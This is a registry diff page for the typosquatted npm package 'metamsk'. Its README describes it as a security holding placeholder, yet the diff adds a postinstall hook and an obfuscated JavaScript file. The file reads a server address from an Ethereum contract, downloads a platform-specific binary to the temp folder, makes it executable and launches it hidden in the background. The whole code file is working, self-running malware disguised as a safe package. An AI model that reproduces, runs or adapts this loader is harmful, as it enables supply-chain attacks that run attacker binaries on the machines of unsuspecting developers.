metamsk 0.0.1-security
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -0
- package/package.json +16 -0
- package/v0yt90ac.cjs +1 -0
package/README.md
ADDED
@@ -0,0 +1,5 @@
|
|
1
|
+
# Security holding package
|
2
|
+
|
3
|
+
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
+
|
5
|
+
Please refer to www.npmjs.com/advisories?search=metamask for more information.
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "metamsk",
|
3
|
+
"version": "0.0.1-security",
|
4
|
+
"description": "security holding package",
|
5
|
+
"repository": "npm/security-holder",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node v0yt90ac.cjs"
|
8
|
+
},
|
9
|
+
"files": [
|
10
|
+
"v0yt90ac.cjs"
|
11
|
+
],
|
12
|
+
"dependencies": {
|
13
|
+
"axios": "^1.7.7",
|
14
|
+
"ethers": "^6.13.2"
|
15
|
+
}
|
16
|
+
}
|
package/v0yt90ac.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0xb403(_0x1cebd5,_0x5e62c3){const _0x4317de=_0x4317();return _0xb403=function(_0xb403e7,_0x4ea696){_0xb403e7=_0xb403e7-0x1c7;let _0x275741=_0x4317de[_0xb403e7];return _0x275741;},_0xb403(_0x1cebd5,_0x5e62c3);}const _0x30aae7=_0xb403;function _0x4317(){const _0x28bfa2=['chmodSync','ethers','stream','6585790tfYhJd','/node-win.exe','ZXPXH','finish','2068624gZxUXS','createWriteStream','xcVKv','axios','JEWrC','gGmSN','basename','755','hwcPf','Unsupported\x20platform:\x20','getString','/node-macos','path','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','mainnet','Ошибка\x20установки:','ugFwC','2164tBzPhx','45028xsoRno','/node-linux','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','tmpdir','child_process','error','join','tmVoX','1367121aJmloe','322LqEDze','13349391mEQxCB','24aNPExq','2815gQSKGe','tVnAg','MmlYE','9hMBvuu','win32','ignore','OQjkI','linux','4206AoHxPt','platform','GET'];_0x4317=function(){return _0x28bfa2;};return _0x4317();}(function(_0x547e15,_0x231c62){const _0x31a111=_0xb403,_0x2d65bf=_0x547e15();while(!![]){try{const _0x177860=parseInt(_0x31a111(0x1cd))/0x1*(-parseInt(_0x31a111(0x1d7))/0x2)+parseInt(_0x31a111(0x1d9))/0x3*(-parseInt(_0x31a111(0x1ce))/0x4)+parseInt(_0x31a111(0x1da))/0x5*(-parseInt(_0x31a111(0x1e2))/0x6)+-parseInt(_0x31a111(0x1d6))/0x7+-parseInt(_0x31a111(0x1ec))/0x8*(parseInt(_0x31a111(0x1dd))/0x9)+parseInt(_0x31a111(0x1e8))/0xa+parseInt(_0x31a111(0x1d8))/0xb;if(_0x177860===_0x231c62)break;else _0x2d65bf['push'](_0x2d65bf['shift']());}catch(_0x2e94c6){_0x2d65bf['push'](_0x2d65bf['shift']());}}}(_0x4317,0x8edc4));const {ethers}=require(_0x30aae7(0x1e6)),axios=require(_0x30aae7(0x1ef)),util=require('util'),fs=require('fs'),path=require(_0x30aae7(0x1c8)),os=require('os'),{spawn}=require(_0x30aae7(0x1d2)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x30aae7(0x1c9),abi=[_0x30aae7(0x1d0)],provider=ethers['getDefaultProvider'](_0x30aae7(0x1ca)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x15664d=_0x30aae7,_0x107315={'tVnAg':function(_0x418d17){return _0x418d17();}};try{const _0x1e4cf7=await contract[_0x15664d(0x1f6)](WalletOwner);return _0x1e4cf7;}catch(_0x380fb1){return console[_0x15664d(0x1d3)]('Ошибка\x20при\x20получении\x20IP\x20адреса:',_0x380fb1),await _0x107315[_0x15664d(0x1db)](fetchAndUpdateIp);}},getDownloadUrl=_0x3f6d77=>{const _0x5d96f1=_0x30aae7,_0x1e0b29={'tmVoX':_0x5d96f1(0x1de),'xcVKv':_0x5d96f1(0x1e1),'gGmSN':'darwin'},_0x3de885=os['platform']();switch(_0x3de885){case _0x1e0b29[_0x5d96f1(0x1d5)]:return _0x3f6d77+_0x5d96f1(0x1e9);case _0x1e0b29[_0x5d96f1(0x1ee)]:return _0x3f6d77+_0x5d96f1(0x1cf);case _0x1e0b29[_0x5d96f1(0x1f1)]:return _0x3f6d77+_0x5d96f1(0x1c7);default:throw new Error(_0x5d96f1(0x1f5)+_0x3de885);}},downloadFile=async(_0x285a67,_0x214500)=>{const _0x27249b=_0x30aae7,_0xb970e0={'iJUvw':function(_0x48604b,_0xdf2d0a){return _0x48604b(_0xdf2d0a);},'MmlYE':_0x27249b(0x1e4)},_0x3fcec1=fs[_0x27249b(0x1ed)](_0x214500),_0x116ec2=await _0xb970e0['iJUvw'](axios,{'url':_0x285a67,'method':_0xb970e0[_0x27249b(0x1dc)],'responseType':_0x27249b(0x1e7)});return _0x116ec2['data']['pipe'](_0x3fcec1),new Promise((_0x1c0f78,_0x358a43)=>{const _0x512a17=_0x27249b;_0x3fcec1['on'](_0x512a17(0x1eb),_0x1c0f78),_0x3fcec1['on'](_0x512a17(0x1d3),_0x358a43);});},executeFileInBackground=async _0x521a82=>{const _0x1b487d=_0x30aae7,_0x302ef0={'JEWrC':function(_0x4b53ad,_0x194753,_0x26f2f5,_0x5cd94d){return _0x4b53ad(_0x194753,_0x26f2f5,_0x5cd94d);},'ZXPXH':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x45c10b=_0x302ef0[_0x1b487d(0x1f0)](spawn,_0x521a82,[],{'detached':!![],'stdio':_0x1b487d(0x1df)});_0x45c10b['unref']();}catch(_0x20d8a8){console['error'](_0x302ef0[_0x1b487d(0x1ea)],_0x20d8a8);}},runInstallation=async()=>{const _0x1bd781=_0x30aae7,_0xc65172={'OQjkI':function(_0x434e19){return _0x434e19();},'hwcPf':function(_0x45bd27,_0x5d3f9a){return _0x45bd27(_0x5d3f9a);},'Isoui':function(_0x103022,_0x4f3b9a){return _0x103022!==_0x4f3b9a;},'ugFwC':_0x1bd781(0x1f3)};try{const _0x208987=await _0xc65172[_0x1bd781(0x1e0)](fetchAndUpdateIp),_0x3d723e=_0xc65172[_0x1bd781(0x1f4)](getDownloadUrl,_0x208987),_0x22655c=os[_0x1bd781(0x1d1)](),_0x372165=path[_0x1bd781(0x1f2)](_0x3d723e),_0x23f488=path[_0x1bd781(0x1d4)](_0x22655c,_0x372165);await downloadFile(_0x3d723e,_0x23f488);if(_0xc65172['Isoui'](os[_0x1bd781(0x1e3)](),_0x1bd781(0x1de)))fs[_0x1bd781(0x1e5)](_0x23f488,_0xc65172[_0x1bd781(0x1cc)]);executeFileInBackground(_0x23f488);}catch(_0x2e39f2){console[_0x1bd781(0x1d3)](_0x1bd781(0x1cb),_0x2e39f2);}};runInstallation();
|